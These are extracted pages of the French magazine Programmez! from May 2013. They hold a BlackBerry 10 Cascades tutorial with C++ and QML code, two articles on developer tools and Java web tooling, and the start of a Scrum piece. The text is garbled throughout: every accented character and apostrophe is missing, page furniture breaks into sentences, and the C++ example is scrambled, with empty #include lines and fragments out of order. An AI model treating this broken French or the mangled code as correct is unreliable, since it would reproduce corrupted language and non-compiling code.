sommes en 2013, RIM lance tout juste un nouvel opus de son systme appuy par de nouveaux terminaux dont le succs sannonce
dj vital pour un groupe en proie dimportantes difficults financires. Prise en main dun systme marqu du sceau de la dernire
chance.
Marque phare de la socit Canadienne Research In Motion (RIM),
BlackBerry a t commercialis pour la premire fois en 1999 et
sest rapidement install comme lun des acteurs incontournables du
monde de la tlphonie. Ayant sduit le monde de lentreprise, il tait
considr comme lun des tlphones les plus scuriss. Mieux
encore, son clavier atypique est devenu lemblme dune marque
bnficiant dune belle image auprs des jeunes. Prcurseur dans de
nombreux domaines, BlackBerry possdait une part de march en
fin danne 2008 de prs de 20% sur les mobiles, se plaant
comme solide second derrire linamovible Symbian de Nokia.
Larrive sur le march en 2007 de liPhone allait marquer le dbut
dune longue et inluctable descente aux enfers pour la marque.
Vritable produit de rupture, liPhone lana la vague des mobiles
tout tactile avec des fonctionnalits toujours plus puissantes. En

sus, ces mobiles, appels smartphones, connaissaient une seconde


mutation avec larrive sur le march dAndroid. Nayant pas pris
tout de suite les bonnes dcisions stratgiques dans un march en
pleine mutation, RIM continua alors sur la mme gamme dappareils, ce qui le pnalise grandement aujourdhui. Le parallle tant
vident avec Nokia qui pour avoir refus le virage du tout tactile se
voit aujourdhui relgu au fin fond dun march quil dominait de la
tte et des paules 3 ans auparavant !
Aujourdhui, la donne est plutt simple au vu du march. Android et
iOS se partagent le gteau de manire crasante, constituant eux
deux plus de 80 % du march. Derrire eux, des miettes que tentent de se partager des acteurs historiques tels que Microsoft avec
sa gamme Windows Phone 8 et son alliance avec Nokia, et justement RIM dans lobligation de prendre des risques sous peine de disparatre tout simplement ! En effet, ni la version 7 de BlackBerry ni la
tablette PlayBook, premire mouture tournant sous QNX, nont su
inverser la tendance et relancer les ventes. Lquation est donc
simple pour RIM : se dmarquer de la
concurrence de liPhone et du Samsung
Galaxy S3 tout en sappuyant sur certaines recettes de leurs succs. Le tout
avec lobjectif de devenir la 3e force en
prsence dans un monde des smartphones o le retour de Nokia et de Windows Phone 8 semble amorc. Une
quation loin dtre vidente !
Pour mener bien cette rvolution, RIM
prend enfin des risques avec une version
10 de BlackBerry OS en rupture totale
avec ce qui a fait la rputation de la
marque. Rupture marketing tout dabord
puisque le constructeur donne plus de
visibilit sa marque phare en renommant la socit RIM en BlackBerry
tout simplement. Rupture matrielle

PROgrammez !

< 22 >

MAI

2013

22-25

22/04/13

15:30

Page 23

i veille techno
ensuite puisque les nouveaux BlackBerry seront pour la plupart
dpourvus de clavier physique. RIM semble enfin avoir dcid de passer au tout tactile au risque de dcevoir certains de ses aficionados.
Dun point de vue logiciel, la rupture est galement consomme avec
une version 10 de son OS qui ne rutilise aucune ligne de code de
ses prdcesseurs. Ainsi, il sappuie sur QNX qui est un systme
dexploitation temps rel, compatible UNIX, et spcialement conu
pour les systmes embarqus.
Consquence directe de ce choix, BlackBerry OS 10 nest pas compatible avec les prcdents appareils de la marque. Voil une dcision radicale mais srement ncessaire pour proposer un nouveau
systme se diffrenciant de Google et dApple. Si ce choix ne manquera pas de faire des vagues, il a le mrite de montrer que la cible
premire du constructeur se situe du ct de lentreprise o son
image reste intacte. Ainsi, la marque na pas hsit faire parvenir
des grandes entreprises de nombreux BlackBerry de dveloppement embarquant leur nouvel OS, afin de permettre leurs quipes
dtudier les possibilits du systme. Enfin, si les ventes de BlackBerry sont au plus bas, le constructeur conserve toujours une solide
base utilisateurs de 80 millions de personnes sur laquelle il compte
sappuyer dans sa stratgie de reconqute.

ARCHITECTURE
Assurer le succs dun OS pour smartphones ne peut se faire sans
le soutien massif des dveloppeurs du monde entier qui raliseront
ou non les applications ncessaires son succs. Pour sduire le
plus grand nombre, BlackBerry 10 supporte une large gamme de
technologies pour raliser des applications. La nouvelle mouture de
lOS tant base sur QNX, le SDK natif sappuie dsormais sur le langage C/C++ comme nous le verrons par la suite. Nanmoins, le
Java reste support, que ce soit via un SDK ddi ou bien via le runtime Android embarqu au sein de BlackBerry 10. Ce dernier confrant lOS lavantage non ngligeable de pouvoir excuter des
applications Android une fois celles-ci repackages via un outil ddi.
Cest dailleurs ainsi que le store applicatif BlackBerry App World
sest largement toff en ce dbut danne 2013. Conscient de
lavenir radieux des technologies tournant autour de la nouvelle
norme HTML 5, BlackBerry 10 propose le framework WebWorks
rendant possible le dveloppement dapplications en HTML 5, CSS 3
et Javascript. Techniquement, les applications dveloppes avec
WebWorks sont de simples applications web standalone dont le packaging est identique celui des applications natives.
Dans ce qui suit, nous nous intresserons plus particulirement au
SDK natif de BlackBerry 10. Base sur QNX, cette version offre aux
dveloppeurs un ensemble dAPI natives compatibles POSIX et proposant des accs bas niveau lOS. Le cur de ce SDK est un atout
essentiel pour les dveloppeurs de jeux notamment qui pourront
tirer parti de sa puissance. En outre, les millions de lignes de code
C/C++ existantes sont de fait dores et dj exploitables sur la plateforme, ce qui constitue un potentiel trs intressant. Si ces API
natives permettent le dveloppement dIHM, elles ne sont pas forcment des plus simples manipuler. Pour acclrer les dveloppements, le SDK natif propose le framework Cascades qui fournit tous
les outils ncessaires pour raliser simplement des IHM. Intgrant
nativement lexprience utilisateur de lOS, Cascades est un framework C++ sappuyant sur Qt 4 et permettant la cration dIHM laide de son langage de description dinterfaces QML (Qt Modeling
Language).

INSTALLATION
La premire tape pour raliser des applications consiste tlcharger le SDK ladresse suivante : http://developer.blackberry.com/
native/download . Supportant les systmes Mac et Linux en sus de
Windows, le SDK arrive avec QNX Momentics IDE, bas sur Eclipse,
qui propose lensemble des outils ncessaires au dveloppement
dapplications BlackBerry 10. Parmi les fonctionnalits proposes,
on signalera la prsence du plugin CDT, indispensable pour raliser
des dveloppements C/C++ sur Eclipse, un diteur graphique pour
les IHM ainsi que des outils de dbuggage et de gestion des mulateurs de terminaux BlackBerry 10. En outre, il est bon de noter
quun plugin pour Visual Studio est disposition. Enfin, il reste tlcharger la mme adresse lmulateur de terminaux BlackBerry
10. Cet mulateur tant en fait une machine virtuelle VMware, il est
ncessaire de tlcharger le logiciel VMware Player pour lutiliser.

MISE EN PRATIQUE
Afin de prendre en main le SDK natif de BlackBerry 10, nous allons
dvelopper une premire application C++ avec une IHM ralise en
QML. Cette application se composera dune image, dun bouton ainsi
que dun label dont le contenu sera mis jour aprs chaque click sur
le bouton. Bien que simpliste, cette application permettra de mettre
en pratique les concepts essentiels dans la ralisation dapplications
avec notamment linteraction avec les ressources, la gestion vnementielle et lutilisation de QML. Une fois lanc, lditeur propose un
assistant de cration dapplications [Fig.1] accessible via le chemin
File > New > BlackBerry Project. Un certain nombre de templates
facilitant le dmarrage dapplications sont proposs. Ici, nous optons
pour une application de type Cascades puisque cest via ce framework que nous allons raliser lIHM.
Larborescence de lapplication [Fig.2] cre se compose dun dossier
src contenant les fichiers sources et leurs headers. Le dossier
assets contient les diffrentes ressources dune application, ce qui
va des images aux IHM dfinies via QML. Un dossier translations
contient les diffrents fichiers libells ncessaires linternationalisation dune application. Enfin, on note la prsence dun classique
Makefile la racine du projet, permettant de builder lapplication en
vue de la tester ou de la dployer, et dun fichier icon.png correspondant licne de lapplication qui sera affiche sur BlackBerry OS.

POINT DENTRE
Le point dentre dune application est le fichier main.cpp se trouvant
au sein du dossier src dun projet BlackBerry 10. Le fichier gnr
avec le template dapplication choisi est suffisant pour la ralisation

Fig.1

Fig.2

Assistant de cration d'applications


PROgrammez !

< 23 >

MAI

2013

Arborescence d'un
projet BB 10

22-25

22/04/13

15:30

Page 24

i veille techno
import bb.cascades 1.0

de notre exemple :
#include <bb/cascades/Application>
#include <bb/cascades/QmlDocument>
#include <bb/cascades/AbstractPane>
#include
#include
#include
#include

<QLocale>
<QTranslator>
<Qt/qdeclarativedebug.h>
"MyFirstBBApp.hpp"

using namespace bb::cascades;


Q_DECL_EXPORT int main(int argc, char **argv) {
// init de lapplication
Application app(argc, argv);
// internationalisation
QTranslator translator;
QString locale_string = QLocale().name();
QString filename = QString( "MyFirstBBApp_%1" ).arg( locale_string );
if (translator.load(filename, "app/native/qm")) {
app.installTranslator( &translator );
}
new MyFirstBBApp(&app);
return Application::exec();
}
On remarque la fonction main principale au sein de laquelle se fait
linstanciation de la classe Application. Celle-ci contient la boucle vnementielle permettant la gestion des interactions avec lutilisateur.
En sus, cette classe est responsable de linitialisation et de la destruction dune application. Le dmarrage tant ralis via lappel sa
mthode exec(). Dautre part, la classe AbstractPane fournit lensemble des fonctionnalits ncessaires aux pages et panes composant une application. La gestion de linternationalisation sappuie sur
les classes QTranslator et QLocale avec la rcupration de la locale
dune application via la mthode name() de cette dernire. Enfin, la
classe MyFirstBBApp contenant le code de lapplication est cre
avec en entre la rfrence de lobjet Application principal.

CRATION DE LIHM
Le framework Cascades autorise la cration dIHM de faon programmative ou bien de manire dclarative via lutilisation du langage QML. Pour notre application, linterface construite en QML est
dcrite au sein dun fichier main.qml plac la racine du dossier
assets. Bas sur la syntaxe du langage Javascript, QML permet de
concevoir des IHM de manire lgante et rapide. La racine dun
document QML est lobjet Page qui drive dAbstractPane. Concrtement, une Page reprsente un cran affich au sein dune application. Au sein dune Page, on dfinit un Container principal avec un
layout permettant de grer le placement des diffrents composants
quil contient. Ici, on utilise un Container avec un DockLayout afin de
centrer les lments graphiques lcran. Au sein de celui-ci, on
ajoute un second Container avec un StackLayout affichant les composants verticalement :

PROgrammez !

Page {
Container {
layout: DockLayout {
}
Container {
layout: StackLayout {
}
verticalAlignment: VerticalAlignment.Center
horizontalAlignment: HorizontalAlignment.Center
ImageView {
imageSource: "asset:///images/logo_ssaurel.png"
horizontalAlignment: HorizontalAlignment.Center
}
Button {
id: clickBtn
objectName: "clickBtn"
text: qsTr("Click me !")
horizontalAlignment: HorizontalAlignment.Center
}
Label {
id: countLbl
objectName: "countLbl"
textStyle.base: countStyle.style
horizontalAlignment: HorizontalAlignment.Center
}
}
}
attachedObjects: [
TextStyleDefinition {
id: countStyle
fontWeight: FontWeight.Bold
fontStyle: FontStyle.Italic
color: Color.create("#ff0000")
}
]
}
Les objets non visuels sont dfinis comme objets attachs au sein
dun fichier QML. Lobjet attach TextStyleDefinition est ainsi utilis
pour dfinir le style du label countLbl. Alors que la proprit objectName permet daccder un objet depuis le code C++, la proprit
id rfrence un objet directement au sein du document QML. Lutilisation du Javascript tant supporte par le QML, il est possible de
ragir aux vnements utilisateurs directement au sein du code de
lIHM et ainsi dy effectuer des modifications.
En considrant le bouton clickBtn et le label countLbl, la gestion du
click sur le premier nomm peut tre ralise au sein de lvnement onClicked comme suit :
Button {
text: qsTr("Click me !")
horizontalAlignment: HorizontalAlignment.Center
onClicked: {
countLbl.text = "Clicked"
}
}

< 24 >

MAI

2013

22-25

22/04/13

15:30

Page 25

i veille techno
CODE PRINCIPAL
Cre au sein du main, la classe MyFirstBBApp va charger le fichier
dinterface QML et effectuer les branchements ncessaires son
fonctionnement. Drivant de QObject, elle appelle le constructeur de
ce dernier en passant en entre la rfrence de lobjet Application.
La cration du QMLDocument associ au fichier QML est ralise
via la mthode statique create de cette classe. Les composants graphiques de lIHM sont accessibles partir de la racine du document
via findChild.
En outre, la gestion de la communication inter-objets sappuie sur le
mcanisme des signals et slots du framework Qt sous-jacent. Ainsi,
lorsquun objet veut notifier les autres objets dun changement, il
met un signal pouvant tre reu par les autres grce lutilisation
des slots. Un slot est une fonction dclare comme telle et appele
lorsque son signal associ est mis.
Dans le cas prsent, nous rpondons au signal clicked() dun bouton.
Au sein de la classe MyFirstBBApp, on dfinit la fonction onButtonClicked() en tant que slot. Ensuite, il faut connecter le signal clicked()
avec le slot que nous venons de crer via la mthode
QObject::connect. Au niveau du code, cela donne le rsultat suivant :

void MyFirstBBApp::onButtonClicked() {
QObject *lbl = root->findChild<QObject *>("countLbl");
count++;
QString strCount = QString("%1").arg(count);
std::string str = std::string("Clicked ") + strCount.toStd
String() + std::string(" times");
lbl->setProperty("text", str.c_str());
}
On notera quune fois linterface QML charge et les branchements
raliss, la racine de linterface est sette via un appel la mthode
setScene de linstance dapplication courante.

EXCUTION

#include "MyFirstBBApp.hpp"
#include
#include
#include
#include

.parent(this);
root = qml->createRootObject<AbstractPane>();
QObject *newButton = root->findChild<QObject*>("clickBtn");
QObject::connect(newButton, SIGNAL(clicked()), this, SLOT
(onButtonClicked()));
app->setScene(root);
}

<bb/cascades/Application>
<bb/cascades/QmlDocument>
<bb/cascades/AbstractPane>
<string>

using namespace bb::cascades;


MyFirstBBApp::MyFirstBBApp(bb::cascades::Application *app)
: QObject(app), root(0), count(0)
{
QmlDocument *qml = QmlDocument::create("asset:///main.qml")

Fig.3

Lapplication est dsormais prte tre teste au sein de lmulateur BlackBerry 10. Une fois lmulateur lanc via VMware player, il
est temps de la builder en ciblant le simulateur en mode dbug dans
les configurations du build. Cela se fait dun click droit sur un projet
puis en suivant le chemin Build Configuration > Set Active et en slectionnant Simulator-Debug.
Il suffit ensuite de faire un build du projet. Une fois celui-ci termin
avec succs, lexcution de lapplication se fait en cliquant sur Run
As puis en choisissant BlackBerry C/C++ Application. Dans la
fentre apparaissant alors lcran, il est ncessaire de choisir la
cible dexcution vise. Lassistant dajout de nouvelles cibles permet
de dcouvrir automatiquement les machines virtuelles BlackBerry
10 en cours dexcution sur lordinateur hte. Lexcution peut alors
avoir lieu et le rsultat est prsent la [Fig.3].

CONCLUSION
En chute libre depuis plusieurs mois maintenant, BlackBerry joue
son va-tout avec BlackBerry 10. Voulant rompre avec son immobilisme au cours dune priode ayant subi de nombreux changements
technologiques majeurs, la firme propose un systme novateur et
diffrent de ceux des 2 poids lourds actuels du march que sont
Android et iOS. Avec un SDK natif bas sur du code C/C++, BlackBerry veut faire de la performance un argument de poids dans le
choix de sa plateforme.
En outre, louverture un grand nombre dautres technologies
montre la volont de lditeur de ratisser large afin dattirer le plus
de dveloppeurs possibles vers sa plateforme et ainsi toffer son
store applicatif. Quoi quil en soit et malgr les qualits indniables
de la plateforme, tant du point de vue de lutilisateur final que de celui
du dveloppeur, la route demeure longue et seme dembches,
face notamment Windows Phone 8 qui lorgne galement pour la
dernire place du podium dun march des smartphones en pleine
croissance.

Excution de l'application au sein de l'mulateur


PROgrammez !

# Sylvain Saurel Ingnieur dEtudes Java / JEE


sylvain.saurel@gmail.com

< 25 >

MAI

2013

26-29

20/04/13

00:06

Page 26

i outils

Les outils du dveloppeur moderne


Lge de pierre du dveloppement logiciel a t domin par la rptition de tches : coder,
compiler, livrer. Au fil des ans, les dveloppeurs des diffrentes tribus ont dvelopp leurs
bifaces pour samliorer : outils de build, de packaging et autres. Les dveloppeurs ont
gagn en efficacit et se sont librs du temps pour des tches plus nobles, telles que les
tests automatiss, loptimisation, larchitecture logicielle ou plus simplement le mtier de
lapplication. De nos jours, les outils de dveloppement sont lgion, et il en apparat de
nouveaux rgulirement. Ainsi, il devient parfois difficile de sy retrouver.
> Evaluer un outil
Comme le dit un proverbe franais : Les
mauvais ouvriers ont toujours de mauvais
outils. Mais quest-ce quun bon outil, et plus
particulirement, un bon outil de dveloppement logiciel ? Quel intrt dinvestir du
temps et de chercher de meilleurs outils que
ceux qui sont en place ? Quel gain pour mon
projet, mon quipe ? Et ces nouveaux outils,
quels sont-ils ?
Les outils de dveloppement recouvrent la
fois, les capacits du systme dexploitation,
du langage de programmation utilis, mais
aussi de lIDE et des diffrents frameworks
que vous pouvez tre amens choisir. Tout
programme pouvant aider le dveloppeur
travailler de faon plus efficace est un outil
de dveloppement. Voici les qualits que
nous sommes en droit dattendre deux :
Productivit : Un outil doit permettre d'effectuer une tche plus rapidement, ou plus
efficacement, et avec une qualit au moins
gale la procdure qui le prcde.
Intgrabilit : tre oprable dans mon environnement, sans perturber ma chane d'outil, si possible tre en synergie avec les
autres outils et fonctionner sur plusieurs OS.
Fiabilit : tre fiable, fonctionner en adquation avec la documentation, et de faon
homogne en fonction des environnements.
Simplicit : tre facile prendre en main
et ne pas devenir un obstacle dans mon
workflow.
Nous allons passer en revue les outils qui
peuvent vous changer la vie au cours du
cycle de vie d'un projet.

> Concevoir
La conception est le dpart des ides et la
dfinition sur laquelle se basera le dveloppement. Avant dtre avance ou technique,
elle doit tre claire. Les outils daide la
conception vous permettront de produire
une reprsentation comprhensible par tous

les intervenants sur un projet, de partager


une vision. Il faut privilgier les outils simples
et schmatiques :
FreeMind est un outil open source pour
faire des "Mind Maps", c'est--dire des diagrammes ides avec des liens entre
elles.
Google Docs propose des outils "office"
classiques gratuits et concis et qui vont
droit au but, de plus il est trs simple de
faire de l'dition concurrente.
yEd est un outil de modlisation utilis
notamment par le projet Apache Ivy, on
peut y faire de l'UML, du BPMN ou tout
autre type de reprsentation populaire,
l'outil est gratuit et trs simple prendre
en main.

> Partager...
... la base de code
Partager des fichiers et la base de code est
essentiel dans un projet. La meilleure faon
de le faire est dutiliser un outil de gestion

PROgrammez !

< 26 >

MAI

2013

des sources. Subversion a t longtemps


populaire, mais depuis quelques annes,
loutil montant est Git, cr par Linus Torvald
pour grer les sources du projet Linux.
Le principal avantage de Git sur Subversion
est que chaque dveloppeur peut faire des
commit sur sa machine sans impacter directement le dpt commun. Cela permet donc
aux dveloppeurs :
de faire des commits plus petits, ce qui
facilite les merge par Git ;
de rduire leffort de merge manuel quand
il y a malgr tout des conflits.
Git possde galement des algorithmes de
merge de fichier beaucoup plus performants
que Subversion. Le travail en local sur
chaque poste facilite les manipulations de
branches et les dveloppeurs acquirent
rapidement plus de matrise sur leur base de
code. De nombreux outils permettent de
grer ces dpts de manire distribue, en
proposant des batteries d'outils de gestion
de projet et dinteraction avec les autres

26-29

20/04/13

00:06

Page 27

i outils

dveloppeurs autour de votre base de code.


Le plus populaire est de loin Github, gratuit
pour les projets open source. Gitlab est une
version open source installer soi-mme.
Il existe aussi des outils graphiques tels que
gitk, SourceTree d'Atlassian, qui lui est
payant. Enfin, Git s'intgre aussi trs bien
Eclipse via EGit et IntelliJ.

Java : Le leader, trs grosse communaut,


beaucoup d'outils ;
Groovy : Prsent dans beaucoup de projets sous forme de scripting, d'outils de
monitoring ;
Scala : Le langage fonctionnel qui monte ;
JavaScript : L'assembleur du web, qui
passe maintenant ct serveur.

... le travail

... un IDE

Il est galement apprciable d'avoir un outil


de gestion des tches qui intgre la mthodologie Agile et le cycle de vie d'une tche
dans un backlog (journal de bord) Kanban ou
Scrum par exemple.
Pour ce faire, les principaux sont JIRA d'Atlassian (payant), Redmine (open source),
Mantis (open source) et Trello (en ligne, gratuit), mais les plateformes de gestion des
sources comme Github possdent leur
propre systme.
Ces outils possdent tous des API qui permettent de les intgrer des SI et des outils
de reporting existants.
Grce cette trace garde dans ces outils,
on peut facilement retrouver les spcifications d'une implmentation et ventuellement le code associ, ce qui rduit
dramatiquement le temps de rsolution des
erreurs et amliore la maintenabilit des
projets, permettant d'allouer des ressources l'avancement de celui-ci.

Les environnements de dveloppement les


plus populaires sont IntelliJ et Eclipse. Ces
deux IDE permettent de dvelopper dans
peu prs n'importe quel langage. Pour choisir votre IDE de rve, penser soupeser :
Lintgration des technologies que vous utilisez : compilation automatique, compltion
de code, formatage, plugins ddis aux frameworks utiliss, moteur de templates ;
Un contrle complet partir du clavier
pour une productivit maximale ;
Zero Turn Around : mon IDE doit tre
capable de minimiser le temps entre l'criture de mon code et le feedback (tests ou
redploiement) ;
Build incrmental : les classes modifies
doivent tre recompiles rapidement, sans
dclencher un build complet ;
Les capacits de refactoring.
Il arrive parfois que ces deux IDE phares
soient tout simplement trop gros pour votre
projet. Parmi les diteurs de texte fort
potentiel pour les dveloppeurs, je vous
conseille SublimeText.
Pour les puristes, Emacs, Vi ou TextMate
remplissent toujours leur rle avec brio.

> Coder avec ...


... un langage
Malheureusement, le cadre de cet article ne
nous permet pas de traiter de tous les langages de programmation prts pour de
vrais projets de production. Il faudrait un
livre entier pour traiter des diffrents points
forts et faibles de chacun. Nous allons nous
limiter quatre langages qui ont la cote ces
derniers temps :

les nouveaux frameworks tentent de


rpondre la fois ses impratifs, et de
satisfaire les besoins dindustrialisation des
SI dentreprise. Il existe aujourdhui deux frameworks web en vogue pour la JVM, intgrant de nombreuses JSR :
Grails, grce son moteur de plugins, et
aux principes Convention Over Configuration et Dont Repeat Yourself (Groovy,
Spring), permet de dmarrer des projets
en un temps record et dintgrer toutes
sortes de technologies externes. Il permet
de faire du Domain Driven Development et
de gnrer une application entire partir
dun simple modle de donnes.
Play, grce la forte optimisation du langage Scala par la compilation statique et
son footprint mmoire faible, est un framework haute performance. De plus, son
modle dIO itratif, permet dtre directement asynchrone, ce qui est ncessaire
pour des applications web utilises grande chelle.
Pour rester dans le Web, depuis la monte
en puissance de HTML5, un nouveau framework Javascript nat chaque mois. Celui qui
semble le plus prometteur est AngularJS. Le
but est de crer des applications Web performantes tout en respectant les standards
W3C. AngularJS est un MVC ct client. Il
embarque des directives (mise jour du
DOM), de linjection de dpendances entre
composants, des intercepteurs pour les
requtes http, et des services (injectables et
rutilisables dans les contrleurs), et surtout une mthodologie de tests unitaires,
base sur Testacular.

> Tester
unitairement
Tester le code produit est fondamental. Les
outils de tests dpendent en gnral de la
technologie utilise, mais ils ont en commun
quils doivent tre lisibles, et implments en
continu (idalement en Test Driven Development). Pour ce faire, il existe des librairies
dans diffrents langages :
Java : FestAssert, Mockito ;
Groovy : Spock, Geb ;
Scala : ScalaTest, Specs2 ;
Javascript : Testacular, Qunit.

un framework

en intgration

Le framework, comme son nom lindique,


offre un cadre de travail pour des technologies travers un cer tain nombre de
concepts. La problmatique du Web est
riche, et il est intressant de voir comment

Les tests unitaires permettent de tester la


logique du code, mais quen est-il des tests
de leurs interactions ? Interviennent ici les
tests dintgration ou encore tests fonctionnels. Pour tester des pages web, Phantom-

PROgrammez !

< 27 >

MAI

2013

26-29

20/04/13

00:06

Page 28

i outils
JS ou son spin-off CasperJS permettent
dmuler un navigateur et excuter des scnarios sous forme de script Javascript. Dans
le cas dune API REST crite avec la JSR 311
(JAX-RS), Apache CXF permet de gnrer
automatiquement des clients de test.

sous pression
Les tests classiques permettent de tester la
non-rgression dune fonctionnalit, mais
quen est-il de sa performance ? Il convient
dutiliser des outils capables de littralement
mitrailler une application sur une rampe et
de crer des rapports de performance
partir de ces excutions.
Gatling permet dexcuter des scnarios avec
une API fonctionnelle en Scala de manire
performante et programmatique (Gatling
peut donc aussi servir en intgration).
JMeter est un outil graphique permettant
denregistrer des scnarios dans des
scripts, lavantage est quil peut adresser
un bon nombre de protocoles et se
connecter la JVM.

> Livrer
Pour sassurer en permanence que lapplication est livrable, il faut automatiser le build, le
passage des tests automatiss et le packaging. Le terme gnrique est intgration continue ou CI. Les serveurs de CI sont nombreux,
le plus populaire tant de loin Jenkins avec des
versions en ligne comme Travis et Cloudbees.
Pour automatiser le dploiement de machines
dans un environnement Cloud, il existe Chef,
Capistrano et Puppet, ainsi que des outils en
ligne tels quAmazon Web Services. Ce sont
gnralement des scripts qui dploient des
machines ou des ASG (Auto Scaling Group)
dans le Cloud puis activent des services, tels
que les connecteurs, des bases de donnes
ou l'installation de serveurs.

> Monitorer et debugger


Ca y est, votre application est code, teste,
livre, mais il y a des soucis en production.
Pour vous aider poser un diagnostic, la
bote outils salourdit encore un peu. Tout
dabord, il y a des outils de console essentiels pour dmarrer lanalyse :
nmap : scanner de ports, vous permettra
de vite trouver les erreurs de visibilit
rseau ou de configuration de firewall ;
lsof, ps, top : pour dterminer quels programmes sont lancs et utilisent une ressource dans le systme ;
ssh, scp : pour se connecter une machine distante et y copier des fichiers, crer
des tunnels pour connecter des programmes travers une machine.
Si les problmes se trouvent dans une page
Web, tournez-vous alors vers Firebug, Chrome Dev Tools ou modern.ie, suivant votre
navigateur. Il y a l tout le ncessaire pour
faire de lintrospection de page. Pour pouvoir
tirer de linformation des entrailles de votre

application, il reste les logs et le monitoring.


Pour cela, penchez-vous sur :
Graphite : pour effectuer des graphes de
toutes les mtriques de votre application ;
JavaMelody : Pour vrifier l'activit du
rseau et des requtes ;
VisualVM : pour observer vos Thread applicatifs et lutilisation de la mmoire en
direct ;
Nagios ou Ganglia : Plateforme de monitoring et de lancement dalerte pour tre
prvenu au plus tt des pannes ;
Logstash ou Graylog2 : si la gestion et
lanalyse de vos log est complexe.

> Conclusion
Les bnfices cumuls des outils de dveloppement contrebalancent largement linconvnient de les maintenir et de rester jour. Ils
peuvent changer compltement la vie dun
projet. L'investissement initial pour atteindre
une bonne matrise est trs vite compens
par les avantages retirs. Finalement, ces
bnfices permettent de se concentrer sur
ce qui est vritablement important : la qualit
des livrables qui sont laboutissement du travail du dveloppeur. Nous navons trait ici
que quatre langages, mais nallez pas vous
imaginer quils sont les seuls tre outills,
C#, Ruby, Clojure, et les autres, reclent
aussi de nombreuses ppites, comme
Cucumber ou Luminus par exemple. Ce sera
peut-tre le sujet dun prochain chapitre.
Gardez l'esprit que le meilleur outil est celui
qui vous va et qui vous facilite la vie. A vous
maintenant de vous forger votre bote outils
sur mesure, adapte vos contraintes. Testez, mesurez les gains, jugez, recommencez.
# Guillaume Balaine
Consultant Xebia

PROgrammez !

< 28 >

MAI

2013

26-29

20/04/13

00:06

Page 29

i outils

Les outils du dveloppeur web en Java


Imaginons un dveloppeur Java qui dmarre un nouveau projet web et qui inaugure
un poste de dveloppement flambant neuf. Seul l'OS est install, Windows, OS X ou
Linux, peu importe : les outils prsents dans cet article sont tous disponibles sous
votre OS favori.
> Pour la gestion des
dpendances
Avant mme de choisir un IDE, lutilisation
d'un outil de gestion de dpendances simpose. Il soccupera de tlcharger les fichiers
jar des librairies, et rend lapplication
dployable sur de multiples environnements
(dveloppement, production, qualification...)
partir dune poigne de commandes standards. Partons sur la solution la plus courante, Maven. Allons faire un tour sur
mvnrepository.com pour trouver les dpendances ajouter dans le pom.xml :
Junit est le choix standard pour crire les
tests unitaires. Il y a aussi TestNG,
Pour tester les classes en isolation, Mockito et EasyMock sont de bons candidats
mais la syntaxe du premier est plus naturelle et moins verbeuse,
FestAssert est une alternative moderne
aux mthodes d'assertion de Junit, avec
une syntaxe plus claire et une gestion des
listes d'objets,
Cobertura pour publier des rapports sur la
couverture de tests,
Le trio PMD/Findbugs/Checkstyle pour
vrifier la qualit du code et publier les rapports obtenus,
Selon certains, les classes Apache Commons devraient faire partie de l'API standard de Java. Un client HTTP dans
commons-http, des librairies utilitaires pour
les types standards dans commons-lang...
CXF pour gnrer le client et limplmentation des services web Soap partir du
fichier WSDL,
Le framework Spring, en particulier pour
amliorer la testabilit grce l'injection
de dpendances.
La multitude darchetypes disponibles pour
Maven permet dinitialiser un squelette dapplication en quelques secondes.

> Choisir un framework web


Pour une application web, on peut lorgner
sur GWT. La possibilit de dvelopper les
vues en pur Java est allchante pour un spcialiste du langage, et cela facilitera les tests
unitaires. Pour qui ne connat pas le javas-

cript, c'est GWT qui s'occupe de gnrer le


code client et la partie Ajax. GWT est trs
rpandu, bien document, support par
Google, mais il y a peu de composants graphiques en standard. Heureusement, plusieurs drivs de GWT proposent une
bibliothque de widgets plus aboutie :
SmartGWT propose des composants surprenants, notamment un tableau avec du
chargement la demande et des fonctionnalits de tri " la Excel", mais c'est surtout
une bote noire qui encapsule du Javascript par du Java,
Les widgets de Vaadin sont visuellement
lgants mais moins sophistiqus, et sa
dmarche de construction des vues ct
serveur l'loigne du GWT standard,
Le meilleur choix est probablement GXT :
grande bibliothque de widgets, mode de
dveloppement proche de GWT, et le code
du framework est plus transparent. GXT
est "mavenis" : quelques lignes dans le
fichier de configuration Maven suffisent
pour profiter des nouveaux widgets.
Spring MVC constitue un autre choix intressant, avec l'avantage de s'intgrer trs facilement avec le framework Spring (le
contraire serait tonnant). Les contrleurs
de Spring MVC facilitent l'implmentation de
services REST, mais le choix de cette solution ncessite l'intgration d'une couche supplmentaire pour dvelopper une interface
graphique attractive, par exemple JQuery.
Sur mojo.codehaus.org, vous trouverez un
archetype GWT pour Maven. Sur
appfuse.org il y a un archetype d'application
base sur Spring MVC.

> L'environnement
de dveloppement

< 29 >

MAI

> Les applications web


pour le dveloppement
Quand la phase de ralisation est engage,
le travail en quipe est facilit par lutilisation
dapplications web :
Github pour partager le code source,
Jenkins ou Teamcity pour lancer les builds
Maven sur un serveur dintgration continue. Possibilit de lancement heure
rgulire ou bien en surveillant des vnements,
JIRA pour grer les demandes dvolution
et les anomalies,
Gerrit pour faciliter les revues de code,
Pivotal Tracker pour lorganisation dune
quipe de dveloppement agile.

> Pour aller plus loin

Afin de commencer coder sans payer de


licence, Eclipse est le choix standard, agrment de quelques plugins :
m2e pour bnficier de Maven directement dans lIDE,
MoreUnit pour faciliter les tests unitaires
Junit,
EclEmma pour aller encore plus loin dans
les tests, voir la couverture directement

PROgrammez !

au niveau du code et favoriser le TDD,


Google Plugin for Eclipse, pour (entre
autres) debugger une application GWT en
pas--pas avec un clic droit et un "debug as
web application", au lieu de passer par les
cibles maven.
Pour le dveloppeur fortun, IntelliJ IDEA est
l'IDE du moment : plus performant qu'Eclipse, son ergonomie est aussi plus pragmatique, et le niveau de fonctionnalit est
quivalent : intgration Maven, intgration
GWT, affichage de la couverture des tests
unitaires...
Si lapplication doit dpendre dun web service externe, SoapUI est une application desktop qui permet de mocker le service en
renvoyant des rponses prdfinies, et le
package ainsi obtenu peut tre dploy par
Maven. Trs utile pour conserver la matrise
des dpendances dans un environnement de
dveloppement.

2013

Tous ces outils constituent un socle solide,


quelle que soit la plateforme choisie, grce
la portabilit du Java et des applications
web. Bien sr, ce socle laisse la place tout
un cosystme doutils propre votre OS
favori...
# Christophe Pel
Consultant Xebia

30-33

20/04/13

11:53

Page 30

i agilit

Le ScrumMaster en pratique

Suite de notre
dossier Scrum du n162

Que vous soyez un ScrumMaster en devenir, frachement sorti de formation ou un


directeur de projet qui on a vendu les bienfaits du Scrum et les pouvoirs mystiques
